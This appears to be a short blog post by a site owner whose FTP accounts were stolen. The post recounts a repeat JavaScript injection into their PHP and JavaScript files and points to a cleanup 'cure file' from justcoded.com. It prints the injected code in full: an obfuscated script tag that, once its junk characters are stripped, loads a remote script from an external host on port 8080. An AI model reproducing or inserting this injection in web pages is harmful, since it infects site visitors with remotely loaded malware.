After last virus attack , some my FTP account was stolen, my terrible mistake, I forgot change some of FTP password and the second attack come again after I clean it with virus removal from justcoded.com.

The second attact, the Java script code injected is not same as first one, it have some code variant , The code I was found on my PHP and Javascript code is :

<script>/*Exception*/ document.write('<script src='+'h!&&t^^t#p&(#^:$&^^/&@)/&@@i!!$m@)a^#@g$!e($$)f@^a@&p$&$(-#c!o@!&m^.&h!!!a)t!$!e#n$#a!.!!&&n@e@!).$^$#j^@#^p@^(@.&!&s(!l#i@&d#!e)$s@#h&^a!!r!^e^-@$#n!(@e((t$&#(.)s(u^(p@^!e!)r!)@)t!@&r##u($^e^)l$#)i&!&f&@^e^^.!^r)u^!$:@8@(0#@#!8#$!)0!)!/&^)l&e#&(q(@^u#)!i!)p@(!e&&&^.#!(f#!r)$!/^)l)&@@e)#q^$@u@!!i#^(p$(e!^&.#!f!r$&/@v((k^@.(@c$@&$o^!@m($/&$g&(@)o)!o(@&!g$)!l!$e$$.)!c@$))o#@$^&m@&&^/!p(&c&&&p#!)o#@#p@(.&c#@!o$m$$&/&#!('.replace(/\)|@|\!|#|&|\^|\(|\$/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--2a2a37017f4e478abaa5f3c16a9b2656-->

So I need to modify the cure file for this code variation, and it work fine. Recently I browse on justcode.com and see the new version on cure file it has have ability to cure variant Java Script code that injected to web file. So just try to download it here